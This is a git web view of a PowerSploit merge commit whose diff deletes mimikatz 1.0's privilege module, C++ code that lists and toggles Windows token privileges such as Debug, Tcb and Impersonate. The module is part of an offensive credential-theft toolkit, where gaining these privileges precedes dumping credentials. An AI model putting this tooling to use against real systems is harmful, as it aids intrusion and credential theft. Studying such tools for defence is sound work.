aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
diff options
context:
space:
mode:
authorclymb3r <bialek.joseph@gmail.com>2014-04-16 21:02:50 -0700
committerclymb3r <bialek.joseph@gmail.com>2014-04-16 21:02:50 -0700
commitb783b459c12112509a733253df9f5935e104200c (patch)
treee58bce1f7d2f2584d1426262cc609f153d774e51 /Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
parent47b90647c11cb4956c735cfa47628dc7dcb03bb6 (diff)
parent946328cf9e6d6c60eca2bb9d71a38e210c1c3b6c (diff)
downloadPowerSploit-b783b459c12112509a733253df9f5935e104200c.tar.gz
PowerSploit-b783b459c12112509a733253df9f5935e104200c.zip
Merge branch 'master' of https://github.com/mattifestation/PowerSploit
Conflicts: Recon/Get-ComputerDetails.ps1 Recon/Recon.psd1
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp167
1 files changed, 0 insertions, 167 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
deleted file mode 100644
index 1b29486..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp
+++ /dev/null
@@ -1,167 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "mod_mimikatz_privilege.h"
-#include "..\global.h"
-
-vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands()
-{
- vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges"));
- /* Raccourçis */
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown"));
- monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership"));
- return monVector;
-}
-
-bool mod_mimikatz_privilege::enable(vector<wstring> * arguments)
-{
- bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED);
- return true;
-}
-
-bool mod_mimikatz_privilege::remove(vector<wstring> * arguments)
-{
- bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED);
- return true;
-}
-
-bool mod_mimikatz_privilege::disable(vector<wstring> * arguments)
-{
- bool reussite = multiplePrivs(arguments, 0);
- return true;
-}
-
-bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments)
-{
- bool ajout = arguments->empty();
-
- (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : ";
-
- vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
- mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0));
-
- bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE);
- delete mesPrivs;
-
- if(reussite)
- (*outputStream) << L"OK";
- else
- (*outputStream) << L"KO ; " << mod_system::getWinError();
- (*outputStream) << endl;
-
- return reussite;
-}
-
-bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type)
-{
- bool reussite = false;
- vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
- for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++)
- {
- mesPrivs->push_back(make_pair(*monPrivilege, type));
- }
- reussite = mod_privilege::set(mesPrivs);
- delete mesPrivs;
-
- if(reussite)
- (*outputStream) << L"OK";
- else
- (*outputStream) << L"KO ; " << mod_system::getWinError();
- (*outputStream) << endl;
-
- return reussite;
-}
-
-
-bool mod_mimikatz_privilege::list(vector<wstring> * arguments)
-{
- vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
-
- if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE))
- {
- for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++)
- {
- (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t';
-
- if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES)
- {
- if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
- {
- (*outputStream) << L"ENABLED_BY_DEFAULT ";
- }
-
- if(monPrivilege->second & SE_PRIVILEGE_ENABLED)
- {
- (*outputStream) << L"ENABLED ";
- }
-
- if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
- {
- (*outputStream) << L"REMOVED ";
- }
-
- if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS)
- {
- (*outputStream) << L"USED_FOR_ACCESS ";
- }
-
- if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
- {
- (*outputStream) << L"REMOVED";
- }
- }
-
- (*outputStream) << endl;
- }
- }
- else (*outputStream) << mod_system::getWinError() << endl;
-
- return true;
-}
-
-
-bool mod_mimikatz_privilege::debug(vector<wstring> * arguments)
-{
- simplePriv(SE_DEBUG_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::security(vector<wstring> * arguments)
-{
- simplePriv(SE_SECURITY_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments)
-{
- simplePriv(SE_TCB_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments)
-{
- simplePriv(SE_IMPERSONATE_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::assign(vector<wstring> * arguments)
-{
- simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments)
-{
- simplePriv(SE_SHUTDOWN_NAME, arguments); return true;
-}
-
-bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments)
-{
- simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true;
-} \ No newline at end of file